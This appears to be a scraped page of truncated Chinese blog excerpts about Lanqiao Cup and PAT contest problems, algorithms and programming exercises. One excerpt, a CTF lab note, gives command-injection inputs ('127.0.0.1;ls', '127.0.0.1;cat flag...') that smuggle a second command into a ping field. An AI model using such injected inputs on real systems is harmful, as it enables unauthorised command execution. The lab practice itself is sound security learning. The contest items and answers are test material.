给定一个华氏温度F&#xff0c;本题要求编写程序&#xff0c;计算对应的摄氏温度C。计算公式&#xff1a;C5(F−32)/9。题目保证输入与输出均在整型范围内。 输入格式: 输入在一行中给出一个华氏温度。 输出格式: 在一行中按照格式“Celsius C”输出对应的摄氏温度C的整数…

题目 2570: 蓝桥杯2020年第十一届省赛真题-成绩分析

题目描述 小蓝给学生们组织了一场考试&#xff0c;卷面总分为100 分&#xff0c;每个学生的得分都是一个0 到100 的整数。请计算这次考试的最高分、最低分和平均分。 输入 输入的第一行包含一个整数n&#xff0c;表示考试人数。 接下来n 行&#xff0c;每行包含一个0 至100…

题目 1426: 蓝桥杯历届试题-九宫重排

题目描述 如下面第一个图的九宫格中&#xff0c;放着 1~8 的数字卡片&#xff0c;还有一个格子空着。与空格子相邻的格子中的卡片可以移动到空格中。经过若干次移动&#xff0c;可以形成第二个图所示的局面。 我们把第一个图的局面记为&#xff1a;12345678. 把第二个图的局面…

《程序设计基础》 第九章 结构 7-10 学生成绩排序 (15 分)

假设学生的基本信息包括学号、姓名、三门课程成绩以及个人平均成绩&#xff0c;定义一个能够表示学生信息的结构类型。输入n&#xff08;n<50&#xff09;个学生的成绩信息&#xff0c;按照学生的个人平均分从高到低输出他们的信息。如果平均分相同&#xff0c;按输入的先后…

分治法的应用

超过一半的数 package 分治法;/*** author: DreamCode* file: 超过一半以上的数.java* time: 2022年2月27日-下午4:40:11* 思路: */ public class 超过一半的数 {/** 数组中有一个数字出现的次数等于数组长度的一半&#xff0c;找出这个数字。* */public static void main(Str…

【蓝桥杯】[递归]母牛的故事

原题链接&#xff1a;https://www.dotcpp.com/oj/problem1004.html 目录 1. 题目描述 2. 思路分析 3. 代码实现 1. 题目描述 2. 思路分析 我们列一个年份和母牛数量的表格&#xff1a; 通过观察&#xff0c;找规律&#xff0c;我们发现&#xff1a; 当年份小于等于4时&…

[区间DP练习] 求最长回文(不必连续)

1222. 密码脱落 - AcWing题库https://www.acwing.com/problem/content/1224/ X星球的考古学家发现了一批古代留下来的密码。 这些密码是由A、B、C、D 四种植物的种子串成的序列。 仔细分析发现&#xff0c;这些密码串当初应该是前后对称的&#xff08;也就是我们说的镜像串&…

蓝桥杯每日一题2023.10.2

时间显示 - 蓝桥云课 (lanqiao.cn) 题目描述 题目分析 输入为毫秒&#xff0c;故我们可以先将毫秒转化为秒&#xff0c;由于只需要输出时分&#xff0c;我们只需要将天数去除即可&#xff0c;可以在这里多训练一次天数判断 #include<bits/stdc.h> using namespace std…

设计一个模拟电信计费程序

其实这一题应该和(31条消息) 设计一个学生学籍管理系统_神奇的阿璐的博客-CSDN博客相似&#xff0c;就只是加强版的文件的读出与写入。 主要还是利用c的提供的fstream类来实现文件的读出和写入&#xff0c;方便快捷。 首先我们按照题目要求建立好一个Source.dat的源文件&…

蓝桥杯C/C++VIP试题每日一练之完美的代价

💛作者主页:静Yu 🧡简介:CSDN全栈优质创作者、华为云享专家、阿里云社区博客专家,前端知识交流社区创建者 💛社区地址:前端知识交流社区 🧡博主的个人博客:静Yu的个人博客 🧡博主的个人笔记本:前端面试题 个人笔记本只记录前端领域的面试题目,项目总结,面试技…

【C语言】#difine,宏定义 ,宏和函数的区别,#,##(实例分析)

开门见山的说&#xff1a; 目录 开门见山的说&#xff1a; #difine定义标识符 宏的定义 宏和函数的区别 我将从四个方面进行分析 符号# 符号## #difine定义标识符 #difine可以定义标识符 可以是整形 可以是字符串 可以是表达式 可以是代码语句 #include<stdio.h>…

蓝桥杯每日一练——二叉树的最大深度

二叉树的最大深度https://leetcode-cn.com/problems/maximum-depth-of-binary-tree/ 题目描述&#xff1a; 给定一个二叉树&#xff0c;找出其最大深度。 二叉树的深度为根节点到最远叶子节点的最长路径上的节点数。 思路分析&#xff1a; 二叉树的最大深度等于左右子树最大…

蓝桥杯 ADV-238 P0101

蓝桥杯 ADV-238 P0101 题目描述 一个水分子的质量是3.0*10-23克&#xff0c;一夸脱水的质量是950克。写一个程序输入水的夸脱数n&#xff08;0< n < 1e10&#xff09;&#xff0c;然后输出水分子的总数。 输入 109.43 输出 3.465283E027 输出格式与输出相同&#xff08…

2021蓝桥杯真题约数和二进制表示(填空题)和双阶乘(填空题) C语言/C++

约数 题目描述 本题为填空题&#xff0c;只需要算出结果后&#xff0c;在代码中使用输出语句将所填结果输出即可。 如果整数 a 是整数 b 的整数倍&#xff0c;则称 b 是 a 的约数。 请问&#xff0c;有多少个正整数是 2020 的约数。 运行限制 最大运行时间&#xff1a;1s 最…

对拍程序 并查集专题 (C++ | 洛谷 | acwing | 蓝桥)

文章目录【蓝桥杯专题】 &#xff08;C | 洛谷 | acwing | 蓝桥&#xff09;1249. 亲戚836. 合并集合837. 连通块中点的数量238. 银河英雄传说 【带权并查集】145. 超市 【并查集 贪心】4793. 危险程度 (连通块并查集 &#xff09;普通oi 读文件对拍程序【蓝桥杯专题】 &#…

最短距离(dijkstra)

蓝桥杯集训每日一题 acwing1488 有 N 个村庄&#xff0c;编号 1 到 N。 村庄之间有 M 条无向道路&#xff0c;第 i 条道路连接村庄 ai 和村庄 bi&#xff0c;长度是 ci。 所有村庄都是连通的。 共有 K 个村庄有商店&#xff0c;第 j 个有商店的村庄编号是 xj。 然后给出 Q…

蓝桥杯2023/3/2

1. 小蓝正在学习一门神奇的语言&#xff0c;这门语言中的单词都是由小写英文字母组 成&#xff0c;有些单词很长&#xff0c;远远超过正常英文单词的长度。小蓝学了很长时间也记不住一些单词&#xff0c;他准备不再完全记忆这些单词&#xff0c;而是根据单词中哪个字母出现得最…

第十二届蓝桥杯模拟赛第二期

A填空题 问题描述 请问在 1 到 2020 中&#xff0c;有多少个数既是 4 的整数倍&#xff0c;又是 6 的整数倍。 答案提交 这是一道结果填空的题&#xff0c;你只需要算出结果后提交即可。本题的结果为一个整数&#xff0c;在提交答案时只填写这个整数&#xff0c;填写多余的…

算法提高-图论- 最小生成树

最小生成树 最小生成树AcWing 1140. 最短网络AcWing 1141. 局域网AcWing 1142. 繁忙的都市AcWing 1143. 联络员AcWing 1144. 连接格点 最小生成树 AcWing 1140. 最短网络 #include <iostream> #include <cstring>using namespace std;const int N 110;int w[N][…

【STM32G431RBTx】备战蓝桥杯嵌入式汇总

文章目录 前言1.省赛模块总结 前言 蓝桥杯嵌入式要准备的模块还是有些数目的&#xff0c;做个目录方便查询 1.省赛模块 【STM32G431RBTx】备战蓝桥杯嵌入式→基本模块→LED 【STM32G431RBTx】备战蓝桥杯嵌入式→基本模块→LCD 【STM32G431RBTx】备战蓝桥杯嵌入式→基本模块→…

蓝桥等考C++组别三级006

第一部分&#xff1a;选择题 1、C L3 &#xff08;15分&#xff09; 以下选项哪个是求余数的运算符&#xff08; &#xff09;。 A. B.- C.% D.* 正确答案&#xff1a;C 2、C L3 &#xff08;15分&#xff09; 执行以下代码&#xff0c;输出的…

蓝桥杯 ADV-223 因式分解

蓝桥杯 ADV-223 因式分解 问题描述 设计算法&#xff0c;用户输入合数&#xff0c;程序输出若个素数的乘积。例如&#xff0c;输入6&#xff0c;输出2*3。输入20&#xff0c;输出2*2*5。 输入样例 120 输出样例 2*2*2*3*5 思路解析 筛选出5000内的素数&#xff0c;从头到尾…

【蓝桥杯单片机(27)】超声波测距

一、简要说明 超声波测距传感器,一个发出超声波(A),另一个接收超声波(B) A如何发出超声波?给A的引脚一个持续的高低电平(方波)即可发出超声波。 B如何确认超声波已收到?B的一个引脚由低电平变为高电平即是收到了超声波。 因此,超声波测距分为两步,第一步发出超声波…

python.format()格式转换

数字 格式 输出 描述 3.1415926 {:.2f} 3.14 保留小数点后两位 3.1415926 {:.2f} 3.14 带符号保留小数点后两位 -1 {:.2f} -1 带符号保留小数点后两位 2.71828 {:.0f} 3 不带小数 1000000 {:,} 1,000,000 以逗号分隔的数…

JAVA基础语法:常用功能符以及循环结构和分支结构

文章目录1.常用功能符注释算术运算符取模运算符自增自减运算符关系运算符逻辑运算符三目运算符2.分支结构if..elseif..else if .. elseswitch - case3.循环结构whiledo..whileforbreakcontinue了解其他JAVA 常用API和算法点这里 >> https://blog.csdn.net/GD_ONE/article…

数的三次方根(二分方法的运用)

题目表述 给定一个浮点数 n&#xff0c;求它的三次方根。 输入格式 共一行&#xff0c;包含一个浮点数 n。 输出格式 共一行&#xff0c;包含一个浮点数&#xff0c;表示问题的解。 注意&#xff0c;结果保留 6 位小数。 数据范围 -1000<n<1000 输入样例&#x…

如何生成dll文件 采用VS2017生成dll文件(动态库文件)和lib文件(静态库文件)以C语言为例

下面我们将用两种不同的姿势来用VS2017生成dll文件&#xff08;动态库文件&#xff09;和lib文件&#xff08;静态库文件&#xff09;&#xff0c;这里以C语言为例&#xff0c;用最简单的例子&#xff0c;来让读者了解如何生成dll文件&#xff08;动态库文件&#xff09; 生成…

第13届蓝桥杯省赛真题剖析-2022年4月17日Scratch编程初中级组

[导读]&#xff1a;超平老师的《Scratch蓝桥杯真题解析100讲》已经全部完成&#xff0c;后续会不定期解读蓝桥杯真题&#xff0c;这是Scratch蓝桥杯真题解析第122讲。 第13届蓝桥杯省赛举办了两次&#xff0c;这是2022年4月17日举行的第一次省赛&#xff0c;比赛仍然采取线上形…

2014蓝桥杯国赛排列序数 C语言/C++

[蓝桥杯 2014 国 A] 排列序数 题目描述 如果用 a b c d 这 444 个字母组成一个串&#xff0c;有 4!244!244!24 种&#xff0c;如果把它们排个序&#xff0c;每个串都对应一个序号&#xff1a; abcd 0abdc 1acbd 2acdb 3adbc 4adcb 5bacd 6badc 7bcad 8bcda 9bdac …

蓝桥杯 2015 C++B(2) 完美正方形 dfs

完美正方形如果一些边长互不相同的正方形&#xff0c;可以恰好拼出一个更大的正方形&#xff0c;则称其为完美正方形。历史上&#xff0c;人们花了很久才找到了若干完美正方形。比如&#xff1a;如下边长的22个正方形2 3 4 6 7 8 12 13 14 15 16 17 18 21 22 23 24 26 27 28 50…

2023第14届蓝桥杯C/C++A组省赛题解

省一了&#xff0c;占个坑&#xff0c;今天晚上来补蓝桥的题 试题 A: 幸运数 本题总分&#xff1a;5 分 【问题描述】 小蓝认为如果一个数含有偶数个数位&#xff0c;并且前面一半的数位之和等于后面 一半的数位之和&#xff0c;则这个数是他的幸运数字。例如 2314 是…

算法修炼之练气篇——练气十九层

博主&#xff1a;命运之光 专栏&#xff1a;算法修炼之练气篇 前言&#xff1a;每天练习五道题&#xff0c;炼气篇大概会练习200道题左右&#xff0c;题目有C语言网上的题&#xff0c;也有洛谷上面的题&#xff0c;题目简单适合新手入门。&#xff08;代码都是命运之光自己写的…

【软件质量与软件测试 软件质量标准】

文章目录 第五章 软件质量标准5.1 软件质量标准概述5.1.1 国际标准5.1.2 国家标准5.1.3 行业标准5.1.4 企业规范5.1.5 项目规范 5.2 ISO9001和9000-3在软件中的应用5.3 能力成熟模型CMM&CMMI5.3.1 CMM质量思想5.3.2 CMM关键域5.3.3 PSP和TSP5.3.4 CMMI——软件能力成熟度集…

第13届蓝桥杯Scratch国赛真题集锦

编程题 第 1 题 问答题 LED屏幕 题目说明 编程实现 LED屏幕 具体要求: 1).点击绿旗,在舞台中心区域出现由10 x 10方格组成的LED屏幕; 2).按下空格键,LED屏幕最外环方格全部点亮 (方格变为黄色) 3).LED屏幕每秒向内点亮一层,其它LED灯熄灭; 4).直到LED灯在最中心点亮2秒…

[题解]第十一届蓝桥杯大赛软件类省赛第二场C/C++ 大学 B 组

目录 试题 A: 门牌制作 试题 B: 既约分 试题 C: 蛇形填数 试题 D:跑步锻炼(代码明天补上) 试题 E: 七段码 方法1: 二进制枚举并查集 方法2: DFS并查集 试题 F: 成绩统计 试题 H: 子串分值和 试题 I: 平面切分 (明天补上)试题 G: 回文日期 试题 J: 字串排序 试题 A…

【蓝桥杯算法题】输入输出流问题

【蓝桥杯算法题】输入输出流问题 题目&#xff1a;对文本文件进行带缓存的读写操作&#xff0c;可以读取文件不同位置的信息&#xff0c;可以进行对象序列化和对象反序列化。解释&#xff1a;总结&#xff1a; 题目&#xff1a;对文本文件进行带缓存的读写操作&#xff0c;可以…

【C语言程序】将二维数组行列对换

题出自--------------------------------------------零基础学C语言 #include<stdio.h> int main() {int a[2][3];int b[3][2];int i;int j;for (i 0; i < 2; i){for (j 0; j < 3; j){printf("a[%d][%d]", i, j);scanf_s("%d", &a[i][j…

【C语言程序】某记分员记录了球员在10场篮球比赛中的成绩,输入数据后,求平均值。

题出自------------------------------零基础学C语言 #include<stdio.h> int main() {int grade[10];float avg;int i;int total 0;puts("请输入十场篮球比赛成绩&#xff1a;");for (i 0; i < 10; i){scanf_s("%d", &grade[i]);total gr…

AcWing第 106 场周赛

5032. 字符串操作 给定一个长度为 n 的字符串 s1s2…sn。 你需要对该字符串连续进行 m 次字符替换操作。 每次操作给定一个操作范围 [l,r] 和两个字符 c1、c2&#xff0c;你需要将 sl…sr 中的所有 c1&#xff08;如果有的话&#xff09;都替换为 c2。 请你输出所有操作完成…

【C语言程序】求学生平均成绩

题出自-------------------------------零基础学C语言 #include<stdio.h> int main() {int grade[10];float avg;int i;int total 0;puts("请输入十位同学的成绩&#xff1a;");for (i 0; i < 10; i){scanf_s("%d", &grade[i]);total gra…

【C语言程序】一个新建小区内有70个停车位。现有一批新进住户购买车位,使用自减运算符在控制台中计算剩余的车位数。

题出自----------------------------------零基础学C语言 #include<stdio.h> int main() {int place 70;int people 0;//初始化停车位,购买数char ch;puts("请按动回车键&#xff08;一次回车键代表一位新用户购买停车位,按其他按键结束&#xff09;;\n");p…

《程序设计基础》 第十一章 指针进阶 6-1 查找星期 (15 分)

本题要求实现函数&#xff0c;可以根据下表查找到星期&#xff0c;返回对应的序号。 序号星期0Sunday1Monday2Tuesday3Wednesday4Thursday5Friday6Saturday 函数接口定义&#xff1a; int getindex( char *s ); 函数getindex应返回字符串s序号。如果传入的参数s不是一个代表…

团体程序设计天梯赛训练题目集 7-10 计算指数 (5 分) c语言实现

真的没骗你&#xff0c;这道才是简单题 —— 对任意给定的不超过10的正整数n&#xff0c;要求你输出2n。不难吧&#xff1f; 输入格式&#xff1a; 输入在一行中给出一个不超过10的正整数n。 输出格式&#xff1a; 在一行中按照格式 2^n 计算结果 输出2n的值。 输入样例&…

第十三届蓝桥杯 C++ B组 统计子矩阵

//我们可以看成一维前缀和 //每一列看成一个前缀和 然后 从上往下枚举行 //根据单调性 可以使用 双指针算法 #include<iostream> #include<cstdio> using namespace std;const int N510; typedef long long LL;int s[N][N]; int n,m,k;int main() {scanf("%d…

第11届蓝桥杯Java组省赛第二场

A.门牌制作 package 第11届_第2场;/*** author: DreamCode* file: A_门牌制作.java* time: 2022年2月21日-下午7:47:08* 思路: 逐个门牌遍历&#xff0c;计算需要数字2的数目&#xff0c;然后将数目求和*/ public class A_门牌制作 {public static int count_two(int num) {int…

第11届蓝桥杯七段码

七段码 package 第11届_第2场;import java.util.Arrays; import java.util.HashSet; import java.util.Iterator; import java.util.Set; import java.util.TreeSet;/*** author: DreamCode* file: D_七段码.java* time: 2022年2月22日-下午7:05:46* 思路: DFS&#xff0c;每个…

字符串的算法应用

KMP算法查询字符串 package 字符串;/*** author: DreamCode* file: KMP.java* time: 2022年3月18日-下午7:28:08* 思路: KMP算法查询字符串*/ public class KMP {/*** KMP算法查询字符串*/public static void main(String[] args) {String src "babababcbabababb";…

蓝桥杯每日一练——比特位计数(Brian Kernighan 算法 )

盛年不重来&#xff0c;一日难再晨。及时当勉励&#xff0c;岁月不待人。 ——陶渊明 https://leetcode-cn.com/problems/counting-bits/https://leetcode-cn.com/problems…

第八届蓝桥杯5-7题

E. 取数位 /* Description 求1个整数的第k位数字有很多种方法。 以下的方法就是一种。 Input 没有输入。 Output 见上文描述。 */ // 求x用10进制表示时的数位长度 //思路&#xff1a;对递归的掌握和使用理解 #include<stdio.h> int len(int x){if(x<10) return…

蓝桥杯每日一练——不同路径

不同路径https://leetcode-cn.com/problems/unique-paths/ 题目描述&#xff1a; 一个机器人位于一个 m x n 网格的左上角 &#xff08;起始点在下图中标记为 “Start” &#xff09;。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角&#xff08;在下图中…

蓝桥杯每日一练——跳跃游戏

跳跃游戏https://leetcode-cn.com/problems/jump-game/ 题目描述&#xff1a; 给定一个非负整数数组 nums &#xff0c;你最初位于数组的 第一个下标 。 数组中的每个元素代表你在该位置可以跳跃的最大长度。 判断你是否能够到达最后一个下标 解题思路&#xff1a; 如果某一…

蓝桥杯每日一练——跳跃游戏二

跳跃游戏二https://leetcode-cn.com/problems/jump-game-ii/ 题目描述&#xff1a; 给你一个非负整数数组 nums &#xff0c;你最初位于数组的第一个位置。 数组中的每个元素代表你在该位置可以跳跃的最大长度。 你的目标是使用最少的跳跃次数到达数组的最后一个位置。 假设…

2023.05.28十四届蓝桥杯青少组国赛Python

单选题1.以下选项中,哪一个可以将字典dict1与字典dict2合并?(C) *选择题严禁使用程序验证,选择题不答或答错都不扣分 A. dict1.add(dict2) B. dict1.extend(dict2) C. dict1.update(dict2) D. dict1.merge(dict2)2.执行print("{1}{0}".format("Hel…

蓝桥杯每日一练——最长公共子序列问题(动态规划)

题目&#xff1a; 给定两个字符串txet1和text2&#xff0c;返回这两个字符串的最长公共子序列的长度。如果不存在公共子序列 &#xff0c;返回 0 。 示例1 输入&#xff1a;text1 "abcde", text2 "ace" 输出&#xff1a;3 解释&#xff1a;最长公共…

蓝桥杯每日一题——最大字段和问题(动态规划)

学习是劳动&#xff0c;是充满思想的劳动。 ——乌申斯基 题目&#xff1a; 给你一个整数数组 nums &#xff0c;请你找出一个具有最大和的连续子数组&#xff08;子数组最少包含一个元素&…

蓝桥杯每日一练——向数组中追加k个整数

梦想&#xff0c;可以天花乱坠&#xff0c;理想&#xff0c;是我们一步一个脚印踩出来的坎坷道路。 ——三毛 题目来自leetcode双周赛 class sol…

简单图论+二分搜索:环境治理

题目描述 LQ 国拥有 n 个城市, 从 0 到 n−1 编号, 这 n 个城市两两之间都有且仅有 一条双向道路连接, 这意味着任意两个城市之间都是可达的。每条道路都有一 个属性 D, 表示这条道路的灰尘度。当从一个城市 A 前往另一个城市 B 时, 可 能存在多条路线, 每条路线的灰尘度定义为…

第十四届蓝桥杯第一期模拟赛题解[官方模拟赛]

第十四届蓝桥杯第一期模拟赛题解 文章目录第十四届蓝桥杯第一期模拟赛题解蓝桥杯官网模拟赛排名A题-二进制位数(填空题)题面算法(模拟)代码(C)B题-晨跑(填空题)题面算法(枚举)代码(c)C题-调和级数(填空题)题面算法(二分)代码(c)D题-山谷(填空题)题面算法(枚举)代码(c)E题-最小矩…

蓝桥杯每日一练——大理石在哪儿

题目&#xff1a; 现有N个大理石&#xff0c;每个大理石上写了一个非负整数。首先把各数从小到大排序&#xff0c;然后回答Q个问题。每个问题问是否有一个大理石写着某个整数x&#xff0c;如果是&#xff0c;还要回答那个大理石上写着x。排序后的大理石从左到右编号位1~N。 样…

蓝桥杯 回文日期 emmm

原题链接&#xff1a;蓝桥杯 回文日期 emmmm这道题&#xff0c;就是有那么一点点坑。。。 首先要判断数字是否满足日期格式&#xff08;原来闰年2月才是29天&#xff0c;非闰年2月是28天&#xff0c;我给记反了。。。&#xff09; 然后肯定很多人看到对于所有评测用例&#xff…

洛谷 P1464 Function(记忆宏)

洛谷 Functionhttps://www.luogu.com.cn/problem/P1464 记忆宏 #define W_MEM(x,y,z)(w_mem[x][y][z]?w_mem[x][y][z]:w_mem[x][y][z]w(x,y,z)) 每次先判断有没有这个值&#xff0c;有的话直接用&#xff0c;没有的话先存下来再用 &#xff0c;如果暴力的话&#xff0c;会产…

Java-数组-杨辉三角

二维数组的用法 二维数组的使用 * 初始化方式一&#xff1a;int[][] arrnew int[4][3]; * 外层元素 arr[1],内层元素arr[0][0]; * 针对初始化方式一:比如 int[][] arrnew int[4][3]; * 外层元素初始化值&#xff1a;地址值&#xff1b;内层元素初始化值&#xff1a;与一维…

[003]flagger源码阅读SetupSignalHandler

func SetupSignalHandler() (stopCh <-chan struct{}) {close(onlyOneSignalHandler) // panics when called twicestop : make(chan struct{})// 声明一个长度为2 的管道&#xff0c;用来保存信号c : make(chan os.Signal, 2)signal.Notify(c, shutdownSignals...)go func(…

Java学习第九天<数组的声明和创建><三种初始化及内存分析><数组使用><二维数组><Arrays类><冒号排序><稀疏数组>

数组的声明和创建 public class ArrayDemo01 {public static void main(String[] args) {//变量类型 变量名字 变量值int[] nums;//1.定义数组int num2[]; ​numsnew int[10];//2.分配空间&#xff0c;可存放10个int 类型数字nums[0]1;nums[1]2;nums[2]3;nums[3]4;nums[4]5;nu…

Java学习第七天<循环结构2><break continue goto><流程控制练习>

循环结构2 for循环详解 public class ForDemo01 {public static void main(String[] args) {int a1;//初始化条件while (a<100){//条件判断System.out.println(a);//循环体a2;//迭代 ​ ​}System.out.println("while循环结束&#xff01;");for(int i1;i<10…

PAT甲级 1142 Maximal Clique

update202302 clique内的任意两点都有边连接 #include<iostream> #include<vector> using namespace std; bool status[206][206]; int main(void) {int i, j, k, K, m, n, N, M, Nv, Ne, y, z;cin>>Nv>>Ne;vector<int> v[206];for(i …

PAT甲级 1134 Vertex Cover

update202301 set集合查找比循环比对要好&#xff0c;边只要有一个顶点在set集合就可以&#xff0c;一个O(n)一个是O(n^2) #include<iostream> #include<set> #include<algorithm> using namespace std; int main(void) {int i, j, ij, k, m, n, K, N, M,…

杨辉三角(Java实现)顺序表的使用练习

解决思路 &#xff1a; 使用顺序表解决杨辉三角的核心思想&#xff1a;定义出如下的顺序表&#xff0c;来记录最终的结果. List<List<Integer>> ret new ArrayList<>(); 定义出如下的顺序表来记录每一行的结果 List<Integer> list new ArrayList…

【算法竞赛模板】哈希表(开放寻址法、拉链法、字符串哈希方式)

哈希表存储结构一、拉链法二、开放寻址法代码模板字符串哈希方式本蒻苟发文&#xff0c;有任何不足欢迎大佬们斧正~&#xff08;&#xff3e;∀&#xff3e;●&#xff09;&#xff89;&#xff7c; 存储结构 一、拉链法 拉链法的存储形式如下&#xff0c;同个key里挂钩了不…

[蓝桥杯 2021 国 ABC] 123

[蓝桥杯 2021 国 ABC] 123 题目描述 小蓝发现了一个有趣的数列, 这个数列的前几项如下: 1,1,2,1,2,3,1,2,3,4,…1,1,2,1,2,3,1,2,3,4, \ldots1,1,2,1,2,3,1,2,3,4,… 小蓝发现, 这个数列前 111 项是整数 111 , 接下来 222 项是整数 111 至 222 , 接下来 333 项是整数 111 至…

计算机网络期末复习(点进来绝不后悔)

知识体系不断更新 寒假结束更新完一遍 随后不断补充 期末复习想考高分的关注我不迷路 可以当作提纲用来复习&#xff0c;此文章不断扩充知识点&#xff0c; 不断更新 第一章 计算机网络体系结构 第二章 物理层 第三章 数据链路层 第四章 网络层 第五章 传输层

挑战程序设计——部分和问题

给定 nn 个整数&#xff0c;判断是否能选出若干个数&#xff0c;使得它们的和恰好为 kk。 输入 多组测试数据&#xff0c;以 EOF 结束每组测试数据由以下部分组成&#xff1a; 第一行为整数 n(1 \leq n \leq 20)n(1≤n≤20)第二行为 nn 个整数 a_i(-10^8 \leq a_i \leq 10^8)…

C++笔记 友元函数 友元类

友元函数 &#xff1a;友元函数是可以直接访问类的私有成员的非成员函数。 它是定义在类外的普通函数&#xff0c;它不属于任何类&#xff0c;但需要在类的定义中加以声明&#xff0c;声明时只需在友元的名称前加上关键字friend&#xff0c;其格式如下&#xff1a; frien…

C++笔记 this指针用法

一、this指针 引言&#xff1a; 首先&#xff0c;我们都知道类的成员函数可以访问类的数据&#xff08;限定符只是限定于类外的一些操作&#xff0c;类内的一切对于成员函数来说都是透明的&#xff09;&#xff0c;那么成员函数如何知道哪个对象的数据成员要被操作呢&#xff0…

PAT甲级 1017 Queueing at Bank

属于排队问题的&#xff0c;先排序&#xff0c;然后先将窗口填满&#xff0c;并计算小于8时来的人等待的时间&#xff1b;填满以后看哪个窗口的人最先办理好业务&#xff0c;也就是花的时间最少&#xff0c;当前时间要加上这个人的时间&#xff0c;其他几个窗口的时间要减去这个…

PAT甲级 1009 Product of Polynomials

update202302 //存在相互抵消的情况&#xff0c; 3x - 1 和 3x 1 多项式相乘会相互抵消&#xff0c;草稿纸&#xff01;&#xff01;&#xff01; #include<iostream> #include<map> using namespace std; int arr0[60], arr1[60]; double flt0[…

PAT乙级 1071 小赌怡情

PAT乙级 1071 小赌怡情 #include<iostream> #include<algorithm> #include<vector> #include<string> #include<map> #include<set> #include<bits/stdc.h>using namespace std;int main(void){int all, n2, s0, s1, s2, s3;cin&g…

第十三届蓝桥杯省赛 JAVA A组 - 蜂巢

✍个人博客&#xff1a;https://blog.csdn.net/Newin2020?spm1011.2415.3001.5343 &#x1f4da;专栏地址&#xff1a;蓝桥杯题解集合 &#x1f4dd;原题地址&#xff1a;蜂巢 &#x1f4e3;专栏定位&#xff1a;为想参加蓝桥杯的小伙伴整理常考算法题解&#xff0c;祝大家都能…

既约分数t跳跃

题目 如果一个分数的分子和分母的最大公约数是 1&#xff0c;这个分数称为既约分数。 例如 3/4,1/8,71/43​,8/1​,1/7​&#xff0c; 都是既约分数。 请问&#xff0c;有多少个既约分数&#xff0c;分子和分母都是 1到 2020之间的整数&#xff08;包括 1和 2020&#xff09;&a…

蓝桥杯——基础练习——特殊的数字

package com.study.蓝桥杯.基础练习;/* 问题描述153是一个非常特殊的数&#xff0c;它等于它的每位数字的立方和&#xff0c;即1531*1*15*5*53*3*3。编程求所有满足这种条件的三位十进制数。 输出格式按从小到大的顺序输出满足条件的三位十进制数&#xff0c;每个数占一行。*/p…

ctfhub-过滤运算符

还是得看题目代码的&#xff0c;说不定就有用了&#xff08;比如这题&#xff09; 过滤了这些&#xff0c;把我能想到的都ban了&#xff0c;然后看wp&#xff0c;还有;可以用&#xff0c;这些东西要积累了 127.0.0.1;ls 127.0.0.1;cat flag_2020216322831.php

2019蓝桥杯真题年号字串(填空题) C语言/C++

题目描述 本题为填空题&#xff0c;只需要算出结果后&#xff0c;在代码中使用输出语句将所填结果输出即可。 小明用字母 A 对应数字 11&#xff0c;B 对应 2&#xff0c;以此类推&#xff0c;用 Z 对应 26。对于 27 以上的数字&#xff0c;小明用两位或更长位的字符串来对应&…

蓝桥杯31天真题冲刺|题解报告|第二十六天

大家好&#xff0c;我是snippet&#xff0c;今天是刷蓝桥真题的第二十六天&#xff0c;今天的知识点包含搜索动态规划&#xff0c;下面是我今天的题解 目录 一、玩具 题目链接&#xff1a;B-玩具_牛客小白月赛69 (nowcoder.com) 题目内容&#xff1a; 解题思路&#xff1a;…

上海市青少年算法2023年2月月赛(丙组)

上海市青少年算法2023年2月月赛(丙组)T1 格式改写 题目描述 给定一个仅由拉丁字符组成字符序列,需要改写一些字符的大小写,使得序列全部变成大写或全部变成小写,请统计最少修改多少个字符才能完成这项任务。 输入格式 一个字符序列:保证仅由拉丁字符构成 输出格式 单个整…

<蓝桥杯软件赛>零基础备赛20周--第3周

报名明年4月蓝桥杯软件赛的同学们&#xff0c;如果你是大一零基础&#xff0c;目前懵懂中&#xff0c;不知该怎么办&#xff0c;可以看看本博客系列&#xff1a;备赛20周合集 20周的完整安排请点击&#xff1a;20周计划 每周发1个博客&#xff0c;共20周&#xff08;读者可以按…

蓝桥杯官网填空题(递增序列)

题目描述 本题为填空题&#xff0c;只需要算出结果后&#xff0c;在代码中使用输出语句将所填结果输出即可。 对于一个字母矩阵&#xff0c;我们称矩阵中的一个递增序列是指在矩阵中找到两个字母&#xff0c;它们在同一行&#xff0c;同一列&#xff0c;或者在同一 45 度的斜…

【STM32G431RBTx】备战蓝桥杯嵌入式→决赛试题→第十二届

文章目录 前言一、题目二、模块初始化三、代码实现interrupt.h:interrupt.c:main.h:main.c: 四、完成效果五、总结 前言 无 一、题目 二、模块初始化 1.LCD这里不用配置&#xff0c;直接使用提供的资源包就行 2.ADC:开启ADCsingle-ended 3.LED:开启PC8-15,PD2输出模式就行了…

子串简写(第14届蓝桥杯b组题目)

程序猿圈子里正在流行一种很新的简写方法&#xff1a; 对于一个字符串&#xff0c;只保留首尾字符&#xff0c;将首尾字符之间的所有字符用这部分的长度代替。 例如 internationalization 简写成 i18n&#xff0c;Kubernetes 简写成 K8s&#xff0c;Lanqiao 简写成 L5o 等。 …

竞赛——【蓝桥杯】2022年11月第十四届蓝桥杯模拟赛第一期Java

1、二进制位数 问题描述 十进制整数 2 在十进制中是 1 位数&#xff0c;在二进制中对应 10 &#xff0c;是 2 位数。 十进制整数 22 在十进制中是 2 位数&#xff0c;在二进制中对应 10110 &#xff0c;是 5 位数。 请问十进制整数 2022 在二进制中是几位数&#xff1f; 答案…

第十四届蓝桥杯模拟赛(第二期)

写在前面 包含本次模拟赛的10道题题解能过样例&#xff0c;应该可以AC若有错误&#xff0c;欢迎评论区指出有疑问可私信我哈&#x1faf0;&#x1f3fb;从2023开始暴力枚举每一个数&#xff0c;直到找到正确答案 start 2022def check(num) :t str(bin(num))if t[-6:] 0000…

【蓝桥杯软件赛 零基础备赛20周】第2周——常考知识点+判题

文章目录 0. 第1周答疑1. 常考知识点2. 蓝桥杯怎么判题2.1 判题系统如何判题2.2 测试数据和得分的关系2.3 自己做测试数据 3. 备赛计划4. 本周刷题 0. 第1周答疑 问题1&#xff1a;蓝桥杯怎么报名&#xff0c;什么时候报名&#xff1f; 答&#xff1a;集体报名或个人报名。大…

蓝桥杯官网填空题(合法括号序列)

题目描述 本题为填空题&#xff0c;只需要算出结果后&#xff0c;在代码中使用输出语句将所填结果输出即可。 由 1 对括号&#xff0c;可以组成一种合法括号序列&#xff1a;()。 由 2 对括号&#xff0c;可以组成两种合法括号序列&#xff1a;()()、(())。 由 4 对括号组…

2023年第十四届蓝桥杯javaB组省赛真题

